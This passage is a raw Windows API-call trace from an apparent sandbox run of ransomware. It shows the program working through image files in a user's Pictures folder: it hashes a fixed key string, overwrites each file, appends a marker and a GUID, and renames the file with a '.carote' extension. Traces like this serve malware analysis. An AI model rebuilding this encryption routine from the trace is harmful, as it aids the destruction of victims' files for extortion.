(in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.486] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.486] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.486] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.486] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.486] GetLastError () returned 0x0 [0113.486] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.486] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.486] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x12020) returned 0x7b182e0 [0113.486] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.486] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.486] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x12017, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x12017, lpOverlapped=0x0) returned 1 [0113.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.487] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1201c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.487] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.487] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.487] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.487] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.487] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.487] CloseHandle (hObject=0x61c) returned 1 [0113.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.488] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.488] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.488] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\acx5oTi2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\acx5oti2.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\acx5oTi2.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\acx5oti2.gif.carote")) returned 1 [0113.489] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.489] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.490] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c8d7c70, ftCreationTime.dwHighDateTime=0x1d4d204, ftLastAccessTime.dwLowDateTime=0x61036040, ftLastAccessTime.dwHighDateTime=0x1d4c60e, ftLastWriteTime.dwLowDateTime=0x61036040, ftLastWriteTime.dwHighDateTime=0x1d4c60e, nFileSizeHigh=0x0, nFileSizeLow=0x1020c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CF2Yprwzp3UO9UhoQFd.png", cAlternateFileName="CF2YPR~1.PNG")) returned 1 [0113.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.490] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\CF2Yprwzp3UO9UhoQFd.png") returned=".png" [0113.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\CF2Yprwzp3UO9UhoQFd.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\cf2yprwzp3uo9uhoqfd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.491] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=66060) returned 1 [0113.491] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.493] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x101e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.493] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.494] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.494] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1020c, lpOverlapped=0x0) returned 1 [0113.495] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.495] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.495] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.495] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.496] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.496] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.496] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.496] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.496] GetLastError () returned 0x0 [0113.496] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.496] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x10210) returned 0x7b182e0 [0113.496] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.496] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x10207, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x10207, lpOverlapped=0x0) returned 1 [0113.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.497] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1020c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.497] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.497] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.497] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.497] CloseHandle (hObject=0x61c) returned 1 [0113.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0113.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e0) returned 0x7b14908 [0113.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da068 | out: hHeap=0x5010000) returned 1 [0113.498] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\CF2Yprwzp3UO9UhoQFd.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\cf2yprwzp3uo9uhoqfd.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\CF2Yprwzp3UO9UhoQFd.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\cf2yprwzp3uo9uhoqfd.png.carote")) returned 1 [0113.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.499] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.500] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87a3d120, ftCreationTime.dwHighDateTime=0x1d4c6b4, ftLastAccessTime.dwLowDateTime=0x97d40f10, ftLastAccessTime.dwHighDateTime=0x1d4c92f, ftLastWriteTime.dwLowDateTime=0x97d40f10, ftLastWriteTime.dwHighDateTime=0x1d4c92f, nFileSizeHigh=0x0, nFileSizeLow=0x61b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IjNVUGZnKO1CKld.gif", cAlternateFileName="IJNVUG~1.GIF")) returned 1 [0113.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.500] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\IjNVUGZnKO1CKld.gif") returned=".gif" [0113.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\IjNVUGZnKO1CKld.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\ijnvugznko1ckld.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.500] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=25017) returned 1 [0113.500] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.502] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6193, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.502] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.503] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.503] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x61b9, lpOverlapped=0x0) returned 1 [0113.504] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.504] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.504] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.504] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.505] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.505] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.505] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.505] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.505] GetLastError () returned 0x0 [0113.505] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.505] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x61c0) returned 0x7b182e0 [0113.505] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.505] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x61b4, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x61b4, lpOverlapped=0x0) returned 1 [0113.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.506] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x61b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.506] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.506] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.506] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.506] CloseHandle (hObject=0x61c) returned 1 [0113.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0113.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.507] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.507] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\IjNVUGZnKO1CKld.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\ijnvugznko1ckld.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\IjNVUGZnKO1CKld.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\ijnvugznko1ckld.gif.carote")) returned 1 [0113.508] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.508] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.509] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.509] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba319a0, ftCreationTime.dwHighDateTime=0x1d4c5c7, ftLastAccessTime.dwLowDateTime=0xf7920c70, ftLastAccessTime.dwHighDateTime=0x1d4cb6b, ftLastWriteTime.dwLowDateTime=0xf7920c70, ftLastWriteTime.dwHighDateTime=0x1d4cb6b, nFileSizeHigh=0x0, nFileSizeLow=0xdde7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kirDgSeSoWkTS HRY4R.jpg", cAlternateFileName="KIRDGS~1.JPG")) returned 1 [0113.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.509] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.509] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\kirDgSeSoWkTS HRY4R.jpg") returned=".jpg" [0113.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\gqtiv9s2isdbdOiFE-3Q\\kirDgSeSoWkTS HRY4R.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\gqtiv9s2isdbdoife-3q\\kirdgsesowkts hry4r.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.509] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=56807) returned 1 [0113.509] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.511] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xddc1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.511] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.512] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.512] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xdde7, lpOverlapped=0x0) returned 1 [0113.513] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.513] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.513] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.513] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.514] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.514] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.514] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.514] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.514] GetLastError () returned 0x0 [0113.514] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.514] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xddf0) returned 0x7b182e0 [0113.514] SetFilePointer (in: 